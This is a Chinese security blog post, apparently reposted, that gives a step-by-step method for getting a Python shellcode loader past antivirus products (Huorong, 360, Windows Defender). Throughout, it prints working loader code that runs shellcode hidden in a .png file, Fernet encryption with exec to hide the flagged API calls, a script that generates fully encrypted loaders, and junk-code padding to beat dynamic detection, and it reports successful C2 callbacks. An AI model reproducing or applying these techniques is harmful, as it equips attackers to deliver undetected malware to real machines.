【免杀】一种python动态加密免杀方式
2022-10-4 13:24:13 Author: moonsec(查看原文) 阅读量:101 收藏

一种python动态加密免杀方式

laotie233

1简介

一种python动态加密免杀方式,过火绒、360windowsdefender

2正文

从分离免杀讲起

分离免杀比如说在CS生成了一个exe,可执行文件里面就包含了shellcodeshellcodeloader

免杀无非就是让shellcodeshellcodeloader都不会被杀毒软件检测到

CS默认生成shellcode特征较为明显,杀软一定是要报毒,所以将shellcode分离,对其进行加密等免杀处理,防止被静态扫描到特征

一个python加载器

下面具体举例一个python分离加载的例子

import ctypesf=open('demo.png','rb')shellcode=f.read()shellcode=bytearray(shellcode)#设置VirtualAlloc返回类型为ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64#申请内存ptr=ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))#放入shellcodebuf=(ctypes.c_char *len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(   ctypes.c_uint64(ptr),   buf,   ctypes.c_int(len(shellcode)))#创建一个线程从shellcode放置位置首地址开始执行handle=ctypes.windll.kernel32.CreateThread(   ctypes.c_int(0),   ctypes.c_int(0),   ctypes.c_uint64(ptr),   ctypes.c_int(0),   ctypes.c_int(0),   ctypes.pointer(ctypes.c_int(0)))#等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

上面为烂大街的代码,一定过不了免杀的,今天就这里开始一步一步过掉defender

前置基础

  • exec()执行储存在字符串或文件中的 Python 语句,相比于evalexec可以执行更复杂的 Python 代码

  • cryptography.fernet提供python加密lib

>>>fromcryptography.fernet importFernet>>>#Put this somewhere safe!>>>key =Fernet.generate_key()>>>f =Fernet(key)>>>token =f.encrypt(b"Areally secret message. Not for prying eyes.")>>>token'...'>>>f.decrypt(token)'Areally secret message. Not for prying eyes.'

寻找免杀的语句

既然免杀杀的的一个程序,程序又是一条一条的控制指令,代码层面也就是一行一行的代码,那么到底是哪一行被ban掉,我们可以通过一行一行进行注释进行测试

  • 以火绒为例子进行测试

经过一步一步的注释代码,最后注释完成的代码如下

importctypes

f=open('demo.png','rb')shellcode=f.read()shellcode=bytearray(shellcode)#设置VirtualAlloc返回类型为ctypes.c_uint64#ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64#申请内存ptr=ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))#放入shellcodebuf=(ctypes.c_char *len(shellcode)).from_buffer(shellcode)#ctypes.windll.kernel32.RtlMoveMemory(# ctypes.c_uint64(ptr),# buf,# ctypes.c_int(len(shellcode))#)#创建一个线程从shellcode放置位置首地址开始执行#handle = ctypes.windll.kernel32.CreateThread(# ctypes.c_int(0),# ctypes.c_int(0),# ctypes.c_uint64(ptr),# ctypes.c_int(0),# ctypes.c_int(0),# ctypes.pointer(ctypes.c_int(0))#)handle=0#等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

  • 也就是说会被杀毒干掉的代码,整理如下

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
handle=ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
  • 对三条语句进行fernet加密+ eval测试

  • 简单写个脚本

from cryptography.fernet importFernet
#被火绒ban掉的代码ban_code=[b'''ctypes.windll.kernel32.VirtualAlloc.restype= ctypes.c_uint64''',b'''ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))''',b'''handle= ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))''' ]
forcode inban_code: key =Fernet.generate_key() f =Fernet(key) enc_pay =f.encrypt(bytes(code)) output_key ="key= {0}".format(key) print(output_key) print("f_obj= Fernet(key)") output_enc_pay ="enc_pay= {0}".format(enc_pay) print(output_enc_pay) print("exec(f_obj.decrypt(enc_pay))") print("========================================")C:\my\AntiVirus\python_fernet_AV\venv\Scripts\python.exeC:/my/AntiVirus/python_fernet_AV/pass_huorong_fernet_test.pykey=b'9O0kemh7b14TE08uoxOQahV9iaszy8BOvWCQXn1sAsM='f_obj=Fernet(key)enc_pay=b'gAAAAABjOalQpQQhm89YIText7z5FgH-tLhTbDMmDMt3sBl9jUR0S0QX2NBFYCsmNw01Dk7ZPCgnC6TbwgAbK9H2N7f27DHcAqdEHhhaA8_GpXD_IrCO54w2yKHjeRnvSO34XBaz0TIeOprX5nm0ss8gXIyuVylepw=='exec(f_obj.decrypt(enc_pay))========================================key=b'RMiuR9vyJ_EZspzBzJ3IXKcAWGNNN1Xdxd8B-BZOPyM='f_obj=Fernet(key)enc_pay=b'gAAAAABjOalQCFu_z34aC8D1wugbpwfeFFVELPoSXYuz25Sbj-61Ayuu7G-m8oQ6yekbY50jUCGTmfVDyF6H4ldFgPYLCGwTiZYzusdK9tRoh3HwYYUyDEmS2CHsk9u54hQRM1aeg09TVr_xYJXshCx1sZ3Lx33cJcchhQMIRo1k8GQzIqdiJWwqlidgGK18fEuGfWhy4dj9nqS99Xxqq9beR5BxppIdjA=='exec(f_obj.decrypt(enc_pay))========================================key=b'e9tKPxbu_sE0u2GDqb8Os20fmmaId39hVt52vOkWUVk='f_obj=Fernet(key)enc_pay=b'gAAAAABjOalQ9UmOaf1JvCMAozgbIO9YnJYh7lr1YGHHrpwc7B5LsxpBhsAE3hW7rSVtzhb2jluUPO0GnQtUk6UR_soM_RklOC968Y4SmJC2K_4P92TUZ_P7PKmix9mqVBf77biQWwnEjLkuVlBSNIwudHianyahTo3jSsqRj58gT1Az9ihZ1B34vwtYzKMHVD6y5P7hsnHa2UAhMO8KapNJWtEVH9hKkWnBUEwoj50QXP9thZQER8Y9m2X9UATVyySmbuzkVwm8EoWDHZ_-ab9qnnnBsg5MJ6EKdZmarAZMHM8-7juC8YQjTDYe8ydzYnwb9a32gGCiqqIzsEcKBIWXKDheH55LhA=='exec(f_obj.decrypt(enc_pay))========================================
Processfinished with exit code 0
  • 替换后的代码为

importctypesfromcryptography.fernet importFernet
f=open('demo.png','rb')shellcode=f.read()shellcode=bytearray(shellcode)#设置VirtualAlloc返回类型为ctypes.c_uint64key=b'9O0kemh7b14TE08uoxOQahV9iaszy8BOvWCQXn1sAsM='f_obj=Fernet(key)enc_pay=b'gAAAAABjOalQpQQhm89YIText7z5FgH-tLhTbDMmDMt3sBl9jUR0S0QX2NBFYCsmNw01Dk7ZPCgnC6TbwgAbK9H2N7f27DHcAqdEHhhaA8_GpXD_IrCO54w2yKHjeRnvSO34XBaz0TIeOprX5nm0ss8gXIyuVylepw=='exec(f_obj.decrypt(enc_pay))#申请内存ptr=ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))#放入shellcodebuf=(ctypes.c_char *len(shellcode)).from_buffer(shellcode)key=b'RMiuR9vyJ_EZspzBzJ3IXKcAWGNNN1Xdxd8B-BZOPyM='f_obj=Fernet(key)enc_pay=b'gAAAAABjOalQCFu_z34aC8D1wugbpwfeFFVELPoSXYuz25Sbj-61Ayuu7G-m8oQ6yekbY50jUCGTmfVDyF6H4ldFgPYLCGwTiZYzusdK9tRoh3HwYYUyDEmS2CHsk9u54hQRM1aeg09TVr_xYJXshCx1sZ3Lx33cJcchhQMIRo1k8GQzIqdiJWwqlidgGK18fEuGfWhy4dj9nqS99Xxqq9beR5BxppIdjA=='exec(f_obj.decrypt(enc_pay))#创建一个线程从shellcode放置位置首地址开始执行key=b'e9tKPxbu_sE0u2GDqb8Os20fmmaId39hVt52vOkWUVk='f_obj=Fernet(key)enc_pay=b'gAAAAABjOalQ9UmOaf1JvCMAozgbIO9YnJYh7lr1YGHHrpwc7B5LsxpBhsAE3hW7rSVtzhb2jluUPO0GnQtUk6UR_soM_RklOC968Y4SmJC2K_4P92TUZ_P7PKmix9mqVBf77biQWwnEjLkuVlBSNIwudHianyahTo3jSsqRj58gT1Az9ihZ1B34vwtYzKMHVD6y5P7hsnHa2UAhMO8KapNJWtEVH9hKkWnBUEwoj50QXP9thZQER8Y9m2X9UATVyySmbuzkVwm8EoWDHZ_-ab9qnnnBsg5MJ6EKdZmarAZMHM8-7juC8YQjTDYe8ydzYnwb9a32gGCiqqIzsEcKBIWXKDheH55LhA=='exec(f_obj.decrypt(enc_pay))#等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
  • 生成的exe成功绕过火绒

正常上线

  • 同理测试下360

成功上线

  • 继续测试下windows defender

  • 静态扫描失败

深入一下

前文对部分shellloader语句进行fernet加密处理,那么不如所有shellloader语句 和 shellcode进行加密

  • 简单写一下脚本如下

#-*- coding:utf-8 -* from cryptography.fernet importFernet 
#生成免杀代码
defender_code=[ # b''' #import ctypes # ''', # # b''' #from ctypes import * # ''', # # b''' #from cryptography.fernet import Fernet # ''',
b'''f= open('demo2.png', 'rb') ''',
b'''shellcode= f.read() ''',
b'''need_decrypt_shellcode ''',
b'''shellcode= bytearray(shellcode) ''',
b'''ctypes.windll.kernel32.VirtualAlloc.restype= ctypes.c_uint64 ''',
b'''ptr= ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) ''',
b'''buf= (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ''',
b'''ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode))) ''',
b'''handle= ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) ''',
b'''ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1)) ''',]withopen('./test_middle_static.py','w+')asmid_f: #写入import mid_f.write("#-*- coding:utf-8 -*") mid_f.write('\n') mid_f.write("importctypes") mid_f.write('\n') mid_f.write("fromctypes import *") mid_f.write('\n') mid_f.write("fromcryptography.fernet import Fernet") mid_f.write('\n')
forcode indefender_code: mid_f.write("#{0}".format(code)) mid_f.write('\n') ifcode ==b'''need_decrypt_shellcode ''': #shellcode 加密你也可以分离免杀 test_f =open('demo.png','rb') shellcode =test_f.read() shellcode =bytearray(shellcode) #print(shellcode) test_f.close() #加密 key =Fernet.generate_key() f =Fernet(key) enc_pay =f.encrypt(bytes(shellcode)) print(key) print("=========")
#写入shell2.png test_f =open("./demo2.png","w+") test_f.write(enc_pay.decode()) test_f.close() output_key ="key= {0}".format(key) mid_f.write(output_key) mid_f.write('\n') mid_f.write("f_obj= Fernet(key)") mid_f.write('\n') mid_f.write("shellcode= f_obj.decrypt(shellcode)") mid_f.write('\n') mid_f.write("shellcode= bytearray(shellcode)") mid_f.write('\n') continue
key =Fernet.generate_key() f =Fernet(key) enc_pay =f.encrypt(bytes(code)) output_key ="key= {0}".format(key) mid_f.write(output_key) mid_f.write('\n') print(output_key) print("f_obj= Fernet(key)") mid_f.write("f_obj= Fernet(key)") mid_f.write('\n') output_enc_pay ="enc_pay= {0}".format(enc_pay) print(output_enc_pay) mid_f.write(output_enc_pay) mid_f.write('\n') print("exec(f_obj.decrypt(enc_pay))") mid_f.write("exec(f_obj.decrypt(enc_pay))") mid_f.write('\n') print("========================================")
#pyinstaller -F test_middle_static.py

  • ok, 再次生成相应可执行文件,windows defender静态扫描通过

  • 尝试动态运行

再深入一下

简单总结下,当下的进展

  • 火绒过

  • 360

  • windows defender 静态过,动态GG

动态杀毒的基本原理这里就简单说一下,无非就是程序动态运行时进行监控(程序行为、cpu占用、内存占用等等),其实继续深入绕过defender的思路还会有很多,这里就拿一个花指令举例

  • 花指令,简单来说就是加垃圾代码(排序、编码、深度学习识别等等)

下面是花指令的一些简单代码

#写入花指令   junk_code1 ="""importrandom

def partition(test_arr, low, high): i = (low - 1) pivot = test_arr[high]
for j in range(low, high): if test_arr[j] <= pivot: i = i + 1 test_arr[i], test_arr[j] = test_arr[j], test_arr[i]
test_arr[i + 1], test_arr[high] = test_arr[high], test_arr[i + 1] return i + 1

def quick_sort(test_arr, low, high): if low < high: pi = partition(test_arr, low, high) quick_sort(test_arr, low, pi - 1) quick_sort(test_arr, pi + 1, high)

test_arr= []for i in range(59999): test_arr.append(random.random())n= len(test_arr)quick_sort(test_arr,0, n - 1) """ junk_code2 ="""import re
re.search('www','www.runoob.com').span()re.search('com','www.runoob.com').span()
line= "Cats are smarter than dogs ok in shakdhaksdas";
searchObj= re.search(r'(.*) are (.*?) .*', line, re.M | re.I)

def double(matched): value = int(matched.group('value')) return str(value * 2)

s= 'A23G4HFD567're.sub('(?P<value>\d+)',double, s) """
junk_code3 ="""import base64
st= 'wo gan jue wo ma shang jiu yao bei defender gan diao a ba a bachonogchong chongcong!'.encode()res= base64.b64encode(st)aaa= res.decode()res= base64.b64decode(res)bbb= res.decode() """
  • ok 通过花指令的随机加入,成功将defender绕过

3写在最后

免杀学习过程中本身学习的就是一个思路,随着免杀的公开->杀毒的提升,免杀的难度也会随之提升

切记,免杀学的是思路,不是具体的方法,本文的最后一节也只是提供了一个思路。

4关注公众号

公众号长期更新安全类文章,关注公众号,以便下次轻松查阅

觉得文章对你有帮助 请转发 点赞 收藏


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMjc0NTEzMw==&mid=2653583190&idx=1&sn=e11e5600732eb67d5b6fca679e9b8562&chksm=811b6114b66ce8020339bd3af7e6588aac84b736b0bdf45ac09fb3ae812340916e9e3471aed8#rd
如有侵权请联系:admin#unsafe.sh